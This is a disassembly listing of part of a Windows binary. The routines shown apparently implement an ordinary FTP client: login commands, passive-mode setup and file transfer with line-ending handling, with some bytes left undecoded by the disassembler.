cmp eax, 40h
jnb short loc_42E1C5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42E1C5: ; CODE XREF: sub_42E170+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_438208
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42E20A
test eax, eax
jg short loc_42E241
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42E246
mov eax, [esp+11Ch+var_104]
jmp short loc_42E1B0
; ---------------------------------------------------------------------------
loc_42E20A: ; CODE XREF: sub_42E170+79j
push 100h
xor edi, edi
call near ptr 77C1F2BCh
nop
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E241: ; CODE XREF: sub_42E170+7Dj
mov edi, 1
loc_42E246: ; CODE XREF: sub_42E170+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E253: ; CODE XREF: sub_42E170+19j
; sub_42E170+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42E170 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2B0: ; CODE XREF: ___:0040141Aj
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42E35F ; default
jmp off_42E364[eax*4] ; switch jump
loc_42E2C7: ; DATA XREF: ___:off_42E364o
mov eax, [esp+8] ; jumptable 0042E2C0 case 0
cmp eax, 1
jz short loc_42E2D9
cmp eax, 2
jnz loc_42E35F ; default
loc_42E2D9: ; CODE XREF: ___:0042E2CEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2E8: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2FB: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
push esi ; jumptable 0042E2C0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E33C: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E34F: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42E35F: ; CODE XREF: ___:0042E2BAj
; ___:0042E2D3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r
dd offset loc_42E2E8 ; jump table for switch statement
dd offset loc_42E2FB
dd offset loc_42E33C
dd offset loc_42E34F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E3C0 proc near ; CODE XREF: sub_402266j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov edi, dword_511A6C
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42E42D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42E490
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E451: ; CODE XREF: sub_42E3C0+1Bj
; sub_42E3C0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42E3C0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p
; sub_42E3C0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42E4B3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4B3: ; CODE XREF: sub_42E490+15j
mov eax, dword_5103B8
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42E4DC
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42E4DC: ; CODE XREF: sub_42E490+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42E4FC
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4FC: ; CODE XREF: sub_42E490+60j
push esi
lea ecx, [esp+110h+var_100]
push offset aS_3 ; "%s\r\n"
push ecx
call near ptr 77C3F931h
nop
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_4381F6
sub_42E490 endp
; ---------------------------------------------------------------------------
db 85h
dd 681A7FC0h, 447488h, 8088B5E8h, 0C4839077h, 5FC03304h
dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h
dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42E5B0 proc near ; CODE XREF: sub_401F73j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42E5FC
cmp edi, 4
jz short loc_42E5D6
cmp edi, 3
jnz short loc_42E5FC
loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj
; sub_42E5B0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_511A6C
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4474D0
push edx
call ebp
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42E490
add esp, 18h
test eax, eax
jz loc_42E7BE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42E7AF ; default
jmp off_42E7CC[eax*4] ; switch jump
loc_42E648: ; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474C8 ; jumptable 0042E641 case 1
mov dl, byte_4474CC
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E663: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov eax, dword_4474C0 ; jumptable 0042E641 case 2
mov cl, byte_4474C4
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E67D: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov edx, dword_4474B8 ; jumptable 0042E641 case 3
mov al, byte_4474BC
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E697: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474B0 ; jumptable 0042E641 case 4
mov dl, byte_4474B4
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j
; sub_42E5B0+CBj ...
test esi, esi
jz short loc_42E703
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42E7BE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42E703: ; CODE XREF: sub_42E5B0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42E870
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42E7BE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42E758
mov eax, [esi]
push eax
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E758: ; CODE XREF: sub_42E5B0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42E79F
mov eax, [esi]
push ebx
push eax
call sub_42ED50
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42E79F
mov ecx, [esi]
push ecx
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j
; sub_42E5B0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp
add esp, 0Ch
loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj
; sub_42E5B0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42E5B0 endp
; ---------------------------------------------------------------------------
align 4
off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r
dd offset loc_42E663 ; jump table for switch statement
dd offset loc_42E67D
dd offset loc_42E697
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42EB94
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42E8D2
cmp eax, 2
jz short loc_42E8D2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E8D2: ; CODE XREF: sub_42E870+3Aj
; sub_42E870+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42E904
cmp eax, 49h
jz short loc_42E904
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E904: ; CODE XREF: sub_42E870+6Cj
; sub_42E870+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42E9E9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42E490
add esp, 0Ch
test eax, eax
jz loc_42EB94
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42EB94
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
call near ptr 77C41B72h
nop
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_438232
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 1C684D75h, 90004474h, 808419E8h, 4C48377h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: sub_42E870+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_438220
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44753C68h, 0E7E89000h, 83778083h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 44740C68h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 9825E8h, 0FFF88300h, 0C680A75h, 0E9004474h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 44720Ch, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44753468h
dd 5610EB00h, 9766E857h, 0C0850000h, 2C68217Dh, 90004475h
dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 44751068h, 0E8905200h, 77810DEDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 44740468h
dd 8268E800h, 83907780h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------
loc_42EB94: ; CODE XREF: sub_42E870+2Bj
; sub_42E870+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42E870 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
dd 75144689h, 7404682Ch, 27E80044h, 90778082h, 5704C483h
dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42ED92
mov ecx, eax
loc_42ED92: ; CODE XREF: sub_42ED50+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_438208
sub_42ED50 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44759CBEh, 0A4A5F300h
dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42EF60 proc near ; CODE XREF: sub_40226Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42EF71
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF71: ; CODE XREF: sub_42EF60+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42EF8D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DF40
add esp, 0Ch
jmp short loc_42EFB4
; ---------------------------------------------------------------------------
loc_42EF8D: ; CODE XREF: sub_42EF60+17j
call sub_42E170
add esp, 4
cmp eax, 1
jz short loc_42EF9F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF9F: ; CODE XREF: sub_42EF60+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42EFC0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFC0: ; CODE XREF: sub_42EF60+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42EFFF
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42EFFF
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42EFFF
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42EFF8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFF8: ; CODE XREF: sub_42EF60+93j
mov dword ptr [esi+40h], 0
loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj
; sub_42EF60+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42EF60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F040 proc near ; CODE XREF: sub_402216j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42F051
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F051: ; CODE XREF: sub_42F040+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42F06D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42F110
add esp, 0Ch
jmp short loc_42F08A
; ---------------------------------------------------------------------------
loc_42F06D: ; CODE XREF: sub_42F040+17j
call sub_42E170
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
loc_42F08A: ; CODE XREF: sub_42F040+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42F096
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F096: ; CODE XREF: sub_42F040+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42F0CC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42F0CC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42F0CC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42F0CC: ; CODE XREF: sub_42F040+63j
; sub_42F040+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42F040 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F110 proc near ; CODE XREF: sub_42F040+23p
; sub_42F2C0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42F12C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F12C: ; CODE XREF: sub_42F110+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42F254
loc_42F13D: ; CODE XREF: sub_42F110+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42F17E
cmp al, 0Dh
jz short loc_42F17E
cmp esi, 2000h
jnz short loc_42F179
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F1E1
xor esi, esi
loc_42F179: ; CODE XREF: sub_42F110+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42F17E: ; CODE XREF: sub_42F110+35j
; sub_42F110+39j
cmp esi, 2000h
jnz short loc_42F1AC
push ebp
call sub_42E170
add esp, 4
test eax, eax
jz short loc_42F1DA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_4381F6
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42F201
xor esi, esi
loc_42F1AC: ; CODE XREF: sub_42F110+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42F13D
test esi, esi
jz loc_42F254
push ebp
call sub_42E170
add esp, 4
test eax, eax
jnz short loc_42F221
loc_42F1DA: ; CODE XREF: sub_42F110+4Ej
; sub_42F110+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F1E1: ; CODE XREF: sub_42F110+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F201: ; CODE XREF: sub_42F110+98j
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F221: ; CODE XREF: sub_42F110+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 82E890h, 108B777Fh, 0C4685752h, 90004475h
dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42F254: ; CODE XREF: sub_42F110+27j
; sub_42F110+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42F110 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F2C0 proc near ; CODE XREF: sub_401BEFj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
